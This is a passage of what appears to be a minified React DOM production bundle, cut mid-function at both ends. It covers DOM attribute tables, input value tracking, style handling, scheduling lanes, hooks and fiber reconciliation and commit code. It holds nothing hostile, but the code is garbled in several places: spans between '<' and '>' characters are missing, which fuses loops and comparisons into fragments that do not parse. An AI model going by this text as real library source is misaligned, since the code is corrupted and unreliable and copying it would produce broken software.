Va.call(dc,e)?!0:Va.call(fc,e)?!1:th.test(e)?dc[e]=!0:(fc[e]=!0,!1)}function nh(e,t,r,n){if(r!==null&&r.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return n?!1:r!==null?!r.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function oh(e,t,r,n){if(t===null||typeof t>"u"||nh(e,t,r,n))return!0;if(n)return!1;if(r!==null)switch(r.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function He(e,t,r,n,o,i,l){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=n,this.attributeNamespace=o,this.mustUseProperty=r,this.propertyName=e,this.type=t,this.sanitizeURL=i,this.removeEmptyString=l}var Te={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Te[e]=new He(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Te[t]=new He(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Te[e]=new He(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Te[e]=new He(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Te[e]=new He(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Te[e]=new He(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Te[e]=new He(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Te[e]=new He(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Te[e]=new He(e,5,!1,e.toLowerCase(),null,!1,!1)});var Qs=/[\-:]([a-z])/g;function Xs(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(Qs,Xs);Te[t]=new He(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(Qs,Xs);Te[t]=new He(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(Qs,Xs);Te[t]=new He(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Te[e]=new He(e,1,!1,e.toLowerCase(),null,!1,!1)});Te.xlinkHref=new He("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Te[e]=new He(e,1,!1,e.toLowerCase(),null,!0,!0)});function Ks(e,t,r,n){var o=Te.hasOwnProperty(t)?Te[t]:null;(o!==null?o.type!==0:n||!(2a||o[l]!==i[a]){var s=` +`+o[l].replace(" at new "," at ");return e.displayName&&s.includes("")&&(s=s.replace("",e.displayName)),s}while(1<=l&&0<=a);break}}}finally{la=!1,Error.prepareStackTrace=r}return(e=e?e.displayName||e.name:"")?Dn(e):""}function ih(e){switch(e.tag){case 5:return Dn(e.type);case 16:return Dn("Lazy");case 13:return Dn("Suspense");case 19:return Dn("SuspenseList");case 0:case 2:case 15:return e=aa(e.type,!1),e;case 11:return e=aa(e.type.render,!1),e;case 1:return e=aa(e.type,!0),e;default:return""}}function Ga(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case Wr:return"Fragment";case Ar:return"Portal";case Ha:return"Profiler";case Zs:return"StrictMode";case Ba:return"Suspense";case Ua:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case Sp:return(e.displayName||"Context")+".Consumer";case _p:return(e._context.displayName||"Context")+".Provider";case Js:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case qs:return t=e.displayName||null,t!==null?t:Ga(e.type)||"Memo";case Zt:t=e._payload,e=e._init;try{return Ga(e(t))}catch{}}return null}function lh(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Ga(t);case 8:return t===Zs?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function dr(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function Op(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function ah(e){var t=Op(e)?"checked":"value",r=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),n=""+e[t];if(!e.hasOwnProperty(t)&&typeof r<"u"&&typeof r.get=="function"&&typeof r.set=="function"){var o=r.get,i=r.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return o.call(this)},set:function(l){n=""+l,i.call(this,l)}}),Object.defineProperty(e,t,{enumerable:r.enumerable}),{getValue:function(){return n},setValue:function(l){n=""+l},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function bo(e){e._valueTracker||(e._valueTracker=ah(e))}function xp(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var r=t.getValue(),n="";return e&&(n=Op(e)?e.checked?"true":"false":e.value),e=n,e!==r?(t.setValue(e),!0):!1}function vi(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Ya(e,t){var r=t.checked;return pe({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:r!=null?r:e._wrapperState.initialChecked})}function mc(e,t){var r=t.defaultValue==null?"":t.defaultValue,n=t.checked!=null?t.checked:t.defaultChecked;r=dr(t.value!=null?t.value:r),e._wrapperState={initialChecked:n,initialValue:r,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function $p(e,t){t=t.checked,t!=null&&Ks(e,"checked",t,!1)}function Qa(e,t){$p(e,t);var r=dr(t.value),n=t.type;if(r!=null)n==="number"?(r===0&&e.value===""||e.value!=r)&&(e.value=""+r):e.value!==""+r&&(e.value=""+r);else if(n==="submit"||n==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Xa(e,t.type,r):t.hasOwnProperty("defaultValue")&&Xa(e,t.type,dr(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function yc(e,t,r){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var n=t.type;if(!(n!=="submit"&&n!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,r||t===e.value||(e.value=t),e.defaultValue=t}r=e.name,r!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,r!==""&&(e.name=r)}function Xa(e,t,r){(t!=="number"||vi(e.ownerDocument)!==e)&&(r==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+r&&(e.defaultValue=""+r))}var jn=Array.isArray;function qr(e,t,r,n){if(e=e.options,t){t={};for(var o=0;o"+t.valueOf().toString()+"",t=Eo.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function Zn(e,t){if(t){var r=e.firstChild;if(r&&r===e.lastChild&&r.nodeType===3){r.nodeValue=t;return}}e.textContent=t}var Fn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},sh=["Webkit","ms","Moz","O"];Object.keys(Fn).forEach(function(e){sh.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Fn[t]=Fn[e]})});function Cp(e,t,r){return t==null||typeof t=="boolean"||t===""?"":r||typeof t!="number"||t===0||Fn.hasOwnProperty(e)&&Fn[e]?(""+t).trim():t+"px"}function Np(e,t){e=e.style;for(var r in t)if(t.hasOwnProperty(r)){var n=r.indexOf("--")===0,o=Cp(r,t[r],n);r==="float"&&(r="cssFloat"),n?e.setProperty(r,o):e[r]=o}}var uh=pe({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Ja(e,t){if(t){if(uh[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(E(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(E(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(E(61))}if(t.style!=null&&typeof t.style!="object")throw Error(E(62))}}function qa(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var es=null;function eu(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var ts=null,en=null,tn=null;function hc(e){if(e=_o(e)){if(typeof ts!="function")throw Error(E(280));var t=e.stateNode;t&&(t=kl(t),ts(e.stateNode,e.type,t))}}function Tp(e){en?tn?tn.push(e):tn=[e]:en=e}function zp(){if(en){var e=en,t=tn;if(tn=en=null,hc(e),t)for(e=0;e>>=0,e===0?32:31-(_h(e)/Sh|0)|0}var Co=64,No=4194304;function In(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function Si(e,t){var r=e.pendingLanes;if(r===0)return 0;var n=0,o=e.suspendedLanes,i=e.pingedLanes,l=r&268435455;if(l!==0){var a=l&~o;a!==0?n=In(a):(i&=l,i!==0&&(n=In(i)))}else l=r&~o,l!==0?n=In(l):i!==0&&(n=In(i));if(n===0)return 0;if(t!==0&&t!==n&&(t&o)===0&&(o=n&-n,i=t&-t,o>=i||o===16&&(i&4194240)!==0))return t;if((n&4)!==0&&(n|=r&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=n;0r;r++)t.push(e);return t}function ho(e,t,r){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-Pt(t),e[t]=r}function $h(e,t){var r=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var n=e.eventTimes;for(e=e.expirationTimes;0=Wn),bc=String.fromCharCode(32),Ec=!1;function Jp(e,t){switch(e){case"keyup":return qh.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function qp(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var Vr=!1;function t0(e,t){switch(e){case"compositionend":return qp(t);case"keypress":return t.which!==32?null:(Ec=!0,bc);case"textInput":return e=t.data,e===bc&&Ec?null:e;default:return null}}function r0(e,t){if(Vr)return e==="compositionend"||!su&&Jp(e,t)?(e=Kp(),ni=iu=rr=null,Vr=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:r,offset:t-e};e=n}e:{for(;r;){if(r.nextSibling){r=r.nextSibling;break e}r=r.parentNode}r=void 0}r=zc(r)}}function nm(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?nm(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function om(){for(var e=window,t=vi();t instanceof e.HTMLIFrameElement;){try{var r=typeof t.contentWindow.location.href=="string"}catch{r=!1}if(r)e=t.contentWindow;else break;t=vi(e.document)}return t}function uu(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function f0(e){var t=om(),r=e.focusedElem,n=e.selectionRange;if(t!==r&&r&&r.ownerDocument&&nm(r.ownerDocument.documentElement,r)){if(n!==null&&uu(r)){if(t=n.start,e=n.end,e===void 0&&(e=t),"selectionStart"in r)r.selectionStart=t,r.selectionEnd=Math.min(e,r.value.length);else if(e=(t=r.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var o=r.textContent.length,i=Math.min(n.start,o);n=n.end===void 0?i:Math.min(n.end,o),!e.extend&&i>n&&(o=n,n=i,i=o),o=Rc(r,i);var l=Rc(r,n);o&&l&&(e.rangeCount!==1||e.anchorNode!==o.node||e.anchorOffset!==o.offset||e.focusNode!==l.node||e.focusOffset!==l.offset)&&(t=t.createRange(),t.setStart(o.node,o.offset),e.removeAllRanges(),i>n?(e.addRange(t),e.extend(l.node,l.offset)):(t.setEnd(l.node,l.offset),e.addRange(t)))}}for(t=[],e=r;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof r.focus=="function"&&r.focus(),r=0;r=document.documentMode,Hr=null,as=null,Hn=null,ss=!1;function Dc(e,t,r){var n=r.window===r?r.document:r.nodeType===9?r:r.ownerDocument;ss||Hr==null||Hr!==vi(n)||(n=Hr,"selectionStart"in n&&uu(n)?n={start:n.selectionStart,end:n.selectionEnd}:(n=(n.ownerDocument&&n.ownerDocument.defaultView||window).getSelection(),n={anchorNode:n.anchorNode,anchorOffset:n.anchorOffset,focusNode:n.focusNode,focusOffset:n.focusOffset}),Hn&&no(Hn,n)||(Hn=n,n=xi(as,"onSelect"),0Gr||(e.current=ms[Gr],ms[Gr]=null,Gr--)}function oe(e,t){Gr++,ms[Gr]=e.current,e.current=t}var pr={},Fe=yr(pr),Ye=yr(!1),br=pr;function sn(e,t){var r=e.type.contextTypes;if(!r)return pr;var n=e.stateNode;if(n&&n.__reactInternalMemoizedUnmaskedChildContext===t)return n.__reactInternalMemoizedMaskedChildContext;var o={},i;for(i in r)o[i]=t[i];return n&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=o),o}function Qe(e){return e=e.childContextTypes,e!=null}function ki(){le(Ye),le(Fe)}function Wc(e,t,r){if(Fe.current!==pr)throw Error(E(168));oe(Fe,t),oe(Ye,r)}function pm(e,t,r){var n=e.stateNode;if(t=t.childContextTypes,typeof n.getChildContext!="function")return r;n=n.getChildContext();for(var o in n)if(!(o in t))throw Error(E(108,lh(e)||"Unknown",o));return pe({},r,n)}function bi(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||pr,br=Fe.current,oe(Fe,e),oe(Ye,Ye.current),!0}function Vc(e,t,r){var n=e.stateNode;if(!n)throw Error(E(169));r?(e=pm(e,t,br),n.__reactInternalMemoizedMergedChildContext=e,le(Ye),le(Fe),oe(Fe,e)):le(Ye),oe(Ye,r)}var Mt=null,bl=!1,Sa=!1;function mm(e){Mt===null?Mt=[e]:Mt.push(e)}function O0(e){bl=!0,mm(e)}function gr(){if(!Sa&&Mt!==null){Sa=!0;var e=0,t=q;try{var r=Mt;for(q=1;e>=l,o-=l,Lt=1<<32-Pt(t)+o|r<N?(H=O,O=null):H=O.sibling;var R=d(f,O,y[N],S);if(R===null){O===null&&(O=H);break}e&&O&&R.alternate===null&&t(f,O),c=i(R,c,N),b===null?k=R:b.sibling=R,b=R,O=H}if(N===y.length)return r(f,O),ue&&wr(f,N),k;if(O===null){for(;NN?(H=O,O=null):H=O.sibling;var I=d(f,O,R.value,S);if(I===null){O===null&&(O=H);break}e&&O&&I.alternate===null&&t(f,O),c=i(I,c,N),b===null?k=I:b.sibling=I,b=I,O=H}if(R.done)return r(f,O),ue&&wr(f,N),k;if(O===null){for(;!R.done;N++,R=y.next())R=m(f,R.value,S),R!==null&&(c=i(R,c,N),b===null?k=R:b.sibling=R,b=R);return ue&&wr(f,N),k}for(O=n(f,O);!R.done;N++,R=y.next())R=g(O,f,N,R.value,S),R!==null&&(e&&R.alternate!==null&&O.delete(R.key===null?N:R.key),c=i(R,c,N),b===null?k=R:b.sibling=R,b=R);return e&&O.forEach(function(G){return t(f,G)}),ue&&wr(f,N),k}function x(f,c,y,S){if(typeof y=="object"&&y!==null&&y.type===Wr&&y.key===null&&(y=y.props.children),typeof y=="object"&&y!==null){switch(y.$$typeof){case ko:e:{for(var k=y.key,b=c;b!==null;){if(b.key===k){if(k=y.type,k===Wr){if(b.tag===7){r(f,b.sibling),c=o(b,y.props.children),c.return=f,f=c;break e}}else if(b.elementType===k||typeof k=="object"&&k!==null&&k.$$typeof===Zt&&Xc(k)===b.type){r(f,b.sibling),c=o(b,y.props),c.ref=$n(f,b,y),c.return=f,f=c;break e}r(f,b);break}else t(f,b);b=b.sibling}y.type===Wr?(c=kr(y.props.children,f.mode,S,y.key),c.return=f,f=c):(S=fi(y.type,y.key,y.props,null,f.mode,S),S.ref=$n(f,c,y),S.return=f,f=S)}return l(f);case Ar:e:{for(b=y.key;c!==null;){if(c.key===b)if(c.tag===4&&c.stateNode.containerInfo===y.containerInfo&&c.stateNode.implementation===y.implementation){r(f,c.sibling),c=o(c,y.children||[]),c.return=f,f=c;break e}else{r(f,c);break}else t(f,c);c=c.sibling}c=Ca(y,f.mode,S),c.return=f,f=c}return l(f);case Zt:return b=y._init,x(f,c,b(y._payload),S)}if(jn(y))return h(f,c,y,S);if(_n(y))return v(f,c,y,S);Mo(f,y)}return typeof y=="string"&&y!==""||typeof y=="number"?(y=""+y,c!==null&&c.tag===6?(r(f,c.sibling),c=o(c,y),c.return=f,f=c):(r(f,c),c=Ea(y,f.mode,S),c.return=f,f=c),l(f)):r(f,c)}return x}var cn=Pm(!0),Om=Pm(!1),So={},Tt=yr(So),ao=yr(So),so=yr(So);function Or(e){if(e===So)throw Error(E(174));return e}function hu(e,t){switch(oe(so,t),oe(ao,e),oe(Tt,So),e=t.nodeType,e){case 9:case 11:t=(t=t.documentElement)?t.namespaceURI:Za(null,"");break;default:e=e===8?t.parentNode:t,t=e.namespaceURI||null,e=e.tagName,t=Za(t,e)}le(Tt),oe(Tt,t)}function fn(){le(Tt),le(ao),le(so)}function xm(e){Or(so.current);var t=Or(Tt.current),r=Za(t,e.type);t!==r&&(oe(ao,e),oe(Tt,r))}function wu(e){ao.current===e&&(le(Tt),le(ao))}var fe=yr(0);function Ri(e){for(var t=e;t!==null;){if(t.tag===13){var r=t.memoizedState;if(r!==null&&(r=r.dehydrated,r===null||r.data==="$?"||r.data==="$!"))return t}else if(t.tag===19&&t.memoizedProps.revealOrder!==void 0){if((t.flags&128)!==0)return t}else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var Pa=[];function _u(){for(var e=0;er?r:4,e(!0);var n=Oa.transition;Oa.transition={};try{e(!1),t()}finally{q=r,Oa.transition=n}}function Am(){return gt().memoizedState}function b0(e,t,r){var n=cr(e);if(r={lane:n,action:r,hasEagerState:!1,eagerState:null,next:null},Wm(e))Vm(t,r);else if(r=hm(e,t,r,n),r!==null){var o=We();Ot(r,e,n,o),Hm(r,t,n)}}function E0(e,t,r){var n=cr(e),o={lane:n,action:r,hasEagerState:!1,eagerState:null,next:null};if(Wm(e))Vm(t,o);else{var i=e.alternate;if(e.lanes===0&&(i===null||i.lanes===0)&&(i=t.lastRenderedReducer,i!==null))try{var l=t.lastRenderedState,a=i(l,r);if(o.hasEagerState=!0,o.eagerState=a,xt(a,l)){var s=t.interleaved;s===null?(o.next=o,gu(t)):(o.next=s.next,s.next=o),t.interleaved=o;return}}catch{}finally{}r=hm(e,t,o,n),r!==null&&(o=We(),Ot(r,e,n,o),Hm(r,t,n))}}function Wm(e){var t=e.alternate;return e===de||t!==null&&t===de}function Vm(e,t){Bn=Di=!0;var r=e.pending;r===null?t.next=t:(t.next=r.next,r.next=t),e.pending=t}function Hm(e,t,r){if((r&4194240)!==0){var n=t.lanes;n&=e.pendingLanes,r|=n,t.lanes=r,ru(e,r)}}var ji={readContext:yt,useCallback:Re,useContext:Re,useEffect:Re,useImperativeHandle:Re,useInsertionEffect:Re,useLayoutEffect:Re,useMemo:Re,useReducer:Re,useRef:Re,useState:Re,useDebugValue:Re,useDeferredValue:Re,useTransition:Re,useMutableSource:Re,useSyncExternalStore:Re,useId:Re,unstable_isNewReconciler:!1},C0={readContext:yt,useCallback:function(e,t){return kt().memoizedState=[e,t===void 0?null:t],e},useContext:yt,useEffect:Zc,useImperativeHandle:function(e,t,r){return r=r!=null?r.concat([e]):null,ai(4194308,4,jm.bind(null,t,e),r)},useLayoutEffect:function(e,t){return ai(4194308,4,e,t)},useInsertionEffect:function(e,t){return ai(4,2,e,t)},useMemo:function(e,t){var r=kt();return t=t===void 0?null:t,e=e(),r.memoizedState=[e,t],e},useReducer:function(e,t,r){var n=kt();return t=r!==void 0?r(t):t,n.memoizedState=n.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},n.queue=e,e=e.dispatch=b0.bind(null,de,e),[n.memoizedState,e]},useRef:function(e){var t=kt();return e={current:e},t.memoizedState=e},useState:Kc,useDebugValue:$u,useDeferredValue:function(e){return kt().memoizedState=e},useTransition:function(){var e=Kc(!1),t=e[0];return e=k0.bind(null,e[1]),kt().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,r){var n=de,o=kt();if(ue){if(r===void 0)throw Error(E(407));r=r()}else{if(r=t(),ke===null)throw Error(E(349));(Cr&30)!==0||bm(n,t,r)}o.memoizedState=r;var i={value:r,getSnapshot:t};return o.queue=i,Zc(Cm.bind(null,n,i,e),[e]),n.flags|=2048,fo(9,Em.bind(null,n,i,r,t),void 0,null),r},useId:function(){var e=kt(),t=ke.identifierPrefix;if(ue){var r=Ft,n=Lt;r=(n&~(1<<32-Pt(n)-1)).toString(32)+r,t=":"+t+"R"+r,r=uo++,0<\/script>",e=e.removeChild(e.firstChild)):typeof n.is=="string"?e=l.createElement(r,{is:n.is}):(e=l.createElement(r),r==="select"&&(l=e,n.multiple?l.multiple=!0:n.size&&(l.size=n.size))):e=l.createElementNS(e,r),e[Ct]=t,e[lo]=n,Jm(e,t,!1,!1),t.stateNode=e;e:{switch(l=qa(r,n),r){case"dialog":ie("cancel",e),ie("close",e),o=n;break;case"iframe":case"object":case"embed":ie("load",e),o=n;break;case"video":case"audio":for(o=0;opn&&(t.flags|=128,n=!0,kn(i,!1),t.lanes=4194304)}else{if(!n)if(e=Ri(l),e!==null){if(t.flags|=128,n=!0,r=e.updateQueue,r!==null&&(t.updateQueue=r,t.flags|=4),kn(i,!0),i.tail===null&&i.tailMode==="hidden"&&!l.alternate&&!ue)return De(t),null}else 2*ve()-i.renderingStartTime>pn&&r!==1073741824&&(t.flags|=128,n=!0,kn(i,!1),t.lanes=4194304);i.isBackwards?(l.sibling=t.child,t.child=l):(r=i.last,r!==null?r.sibling=l:t.child=l,i.last=l)}return i.tail!==null?(t=i.tail,i.rendering=t,i.tail=t.sibling,i.renderingStartTime=ve(),t.sibling=null,r=fe.current,oe(fe,n?r&1|2:r&1),t):(De(t),null);case 22:case 23:return Tu(),n=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==n&&(t.flags|=8192),n&&(t.mode&1)!==0?(et&1073741824)!==0&&(De(t),t.subtreeFlags&6&&(t.flags|=8192)):De(t),null;case 24:return null;case 25:return null}throw Error(E(156,t.tag))}function M0(e,t){switch(fu(t),t.tag){case 1:return Qe(t.type)&&ki(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return fn(),le(Ye),le(Fe),_u(),e=t.flags,(e&65536)!==0&&(e&128)===0?(t.flags=e&-65537|128,t):null;case 5:return wu(t),null;case 13:if(le(fe),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(E(340));un()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return le(fe),null;case 4:return fn(),null;case 10:return yu(t.type._context),null;case 22:case 23:return Tu(),null;case 24:return null;default:return null}}var Fo=!1,Le=!1,L0=typeof WeakSet=="function"?WeakSet:Set,L=null;function Kr(e,t){var r=e.ref;if(r!==null)if(typeof r=="function")try{r(null)}catch(n){ye(e,t,n)}else r.current=null}function ks(e,t,r){try{r()}catch(n){ye(e,t,n)}}var af=!1;function F0(e,t){if(us=Pi,e=om(),uu(e)){if("selectionStart"in e)var r={start:e.selectionStart,end:e.selectionEnd};else e:{r=(r=e.ownerDocument)&&r.defaultView||window;var n=r.getSelection&&r.getSelection();if(n&&n.rangeCount!==0){r=n.anchorNode;var o=n.anchorOffset,i=n.focusNode;n=n.focusOffset;try{r.nodeType,i.nodeType}catch{r=null;break e}var l=0,a=-1,s=-1,u=0,p=0,m=e,d=null;t:for(;;){for(var g;m!==r||o!==0&&m.nodeType!==3||(a=l+o),m!==i||n!==0&&m.nodeType!==3||(s=l+n),m.nodeType===3&&(l+=m.nodeValue.length),(g=m.firstChild)!==null;)d=m,m=g;for(;;){if(m===e)break t;if(d===r&&++u===o&&(a=l),d===i&&++p===n&&(s=l),(g=m.nextSibling)!==null)break;m=d,d=m.parentNode}m=g}r=a===-1||s===-1?null:{start:a,end:s}}else r=null}r=r||{start:0,end:0}}else r=null;for(cs={focusedElem:e,selectionRange:r},Pi=!1,L=t;L!==null;)if(t=L,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,L=e;else for(;L!==null;){t=L;try{var h=t.alternate;if((t.flags&1024)!==0)switch(t.tag){case 0:case 11:case 15:break;case 1:if(h!==null){var v=h.memoizedProps,x=h.memoizedState,f=t.stateNode,c=f.getSnapshotBeforeUpdate(t.elementType===t.type?v:wt(t.type,v),x);f.__reactInternalSnapshotBeforeUpdate=c}break;case 3:var y=t.stateNode.containerInfo;y.nodeType===1?y.textContent="":y.nodeType===9&&y.documentElement&&y.removeChild(y.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(E(163))}}catch(S){ye(t,t.return,S)}if(e=t.sibling,e!==null){e.return=t.return,L=e;break}L=t.return}return h=af,af=!1,h}function Un(e,t,r){var n=t.updateQueue;if(n=n!==null?n.lastEffect:null,n!==null){var o=n=n.next;do{if((o.tag&e)===e){var i=o.destroy;o.destroy=void 0,i!==void 0&&ks(t,r,i)}o=o.next}while(o!==n)}}function Nl(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var r=t=t.next;do{if((r.tag&e)===e){var n=r.create;r.destroy=n()}r=r.next}while(r!==t)}}function bs(e){var t=e.ref;if(t!==null){var r=e.stateNode;switch(e.tag){case 5:e=r;break;default:e=r}typeof t=="function"?t(e):t.current=e}}function ty(e){var t=e.alternate;t!==null&&(e.alternate=null,ty(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[Ct],delete t[lo],delete t[ps],delete t[S0],delete 